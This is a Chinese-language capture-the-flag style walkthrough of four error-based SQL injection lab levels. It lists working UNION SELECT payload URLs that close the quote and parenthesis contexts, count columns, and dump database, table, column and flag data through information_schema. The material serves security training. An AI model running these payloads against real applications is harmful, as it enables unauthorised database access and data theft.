总结一下 显错注入数字型主要有
id = 1 直接 and 1=2
id = '1' id = 1' 加上' 注释
id = ('1') id = 1') 加上' )注释
id = ("1") id = 1") 加上")注释
- 判断注入类型
传送门:如何判断注入类型
id=1 and 1=1//有回显
id=1 and 1=2// No results found
判断为数字型注入
- 判断有几列
id=1 order by 3 //有回显
id=1 order by 4 // No results found
判断有三列
- 判断回显点
id=1 and 1=2 union select 1,2,3
name:2
pwd:3
因为union,所以前面要置错,让后面的查询语句回显。
select直接加数字串时,那么它输出的内容就是我们select后的数字
爆出数据库名,和数据库版本号
id=1 and 1=2 union select 1,2,database()
1
database()=error
爆出表名
id=1 and 1=2 union select 1,2,table_name from information_schema.tables where table_schema='error' limit 0,1#
得出表名为 error_flag
爆字段名
id=1 and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='error_flag'
爆字段值
id=1 and 1=2 union select 1,Id,flag from error_flag
(二)pass 02
先试一试第一关的思路
id = 1 and 1=2
不知道怎么办了
通过查看
发现id被‘’注释了。
注意到它这里查询的时候是有拼接单引号'的,所以我们就需要提供一个单引号'让他闭合
判断注入存在
# 页面正常
http://inject2.lab.aqlab.cn/Pass-02/index.php?id=1' and 1=1 -- qwe
#页面异常
http://inject2.lab.aqlab.cn/Pass-02/index.php?id=1' and 1=2 -- qwe
判断字段数
http://inject2.lab.aqlab.cn/Pass-02/index.php?id=1' order by 3 -- qwe #页面正常
http://inject2.lab.aqlab.cn/Pass-02/index.php?id=1' order by 4 -- qwe #页面异常
判断显错点
http://inject2.lab.aqlab.cn/Pass-02/index.php?id=1' and 1=2 union select 1,2,3 -- qwe
得出显错点为2,3
开始注入,信息收集
查出当前库有多少个表
http://inject2.lab.aqlab.cn/Pass-02/index.php?id=1' and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()-- qwe
查出这error_flag的字段名
查出字段flag的信息
#查询数据库名
http://inject2.lab.aqlab.cn/Pass-02/index.php?id=1' and 1=2 union select 1,database(),3 -- qwe
得出数据库名:error
#查询当前数据库下表名
http://inject2.lab.aqlab.cn/Pass-02/index.php?id=1' and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()-- qwe
得出表名:error_flag,user
#查询error_flag表下字段名
http://inject2.lab.aqlab.cn/Pass-02/index.php?id=1' and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='error_flag'-- qwe
得出error_flag表字段名:Id,flag
#查询error_flag表的flag数据:
http://inject2.lab.aqlab.cn/Pass-02/index.php?id=1' and 1=2 union select 1,group_concat(flag),3 from error_flag-- qwe
得出flag:zKaQ-Nf,zKaQ-BJY,zKaQ-XiaoFang,zKaq-98K
(三)
显错注入(三)
核心代码
$sql = "select *from user where id=('$id')";
我们注意到它这里查询的时候是有拼接单引号'还有括号()的,所以我们就需要提供')让他闭合。
判断注入存在
# 页面正常
http://inject2.lab.aqlab.cn/Pass-03/index.php?id=1') and 1=1 -- qwe
#页面异常
http://inject2.lab.aqlab.cn/Pass-03/index.php?id=1') and 1=2 -- qwe
判断字段数
http://inject2.lab.aqlab.cn/Pass-03/index.php?id=1') order by 3 -- qwe #页面正常
http://inject2.lab.aqlab.cn/Pass-03/index.php?id=1') order by 4 -- qwe #页面异常
得出字段数为3
判断显错点
http://inject2.lab.aqlab.cn/Pass-03/index.php?id=1') and 1=2 union select 1,2,3 -- qwe
得出显错点为2,3
开始注入,信息收集
#查询数据库名
http://inject2.lab.aqlab.cn/Pass-03/index.php?id=1') and 1=2 union select 1,database(),3 -- qwe
得出数据库名:error
#查询当前数据库下表名
http://inject2.lab.aqlab.cn/Pass-03/index.php?id=1') and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()-- qwe
得出表名:error_flag,user
#查询error_flag表下字段名
http://inject2.lab.aqlab.cn/Pass-03/index.php?id=1') and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='error_flag'-- qwe
得出error_flag表字段名:Id,flag
#查询error_flag表的flag数据:
http://inject2.lab.aqlab.cn/Pass-03/index.php?id=1') and 1=2 union select 1,group_concat(flag),3 from error_flag-- qwe
得出flag:zKaQ-Nf,zKaQ-BJY,zKaQ-XiaoFang,zKaq-98K
显错注入(四)
核心代码
$sql = 'select *from user where id=("$id")';
我们注意到它这里查询的时候是有拼接双引号和括号的,所以我们就需要提供")让他闭合。
判断注入存在
# 页面正常
http://inject2.lab.aqlab.cn/Pass-04/index.php?id=1") and 1=1 -- qwe
#页面异常
http://inject2.lab.aqlab.cn/Pass-04/index.php?id=1") and 1=2 -- qwe
判断字段数
http://inject2.lab.aqlab.cn/Pass-04/index.php?id=1") order by 3 -- qwe #页面正常
http://inject2.lab.aqlab.cn/Pass-04/index.php?id=1") order by 4 -- qwe #页面异常
得出字段数为3
判断显错点
http://inject2.lab.aqlab.cn/Pass-04/index.php?id=1") and 1=2 union select 1,2,3 -- qwe
得出显错点为2,3
#查询数据库名
http://inject2.lab.aqlab.cn/Pass-04/index.php?id=1") and 1=2 union select 1,database(),3 -- qwe
得出数据库名:error
#查询当前数据库下表名
http://inject2.lab.aqlab.cn/Pass-04/index.php?id=1") and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()-- qwe
得出表名:error_flag,user
#查询error_flag表下字段名
http://inject2.lab.aqlab.cn/Pass-04/index.php?id=1") and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='error_flag'-- qwe
得出error_flag表字段名:Id,flag
#查询error_flag表的flag数据:
http://inject2.lab.aqlab.cn/Pass-04/index.php?id=1") and 1=2 union select 1,group_concat(flag),3 from error_flag-- qwe
得出flag:zKaQ-Nf,zKaQ-BJY,zKaQ-XiaoFang,zKaq-98K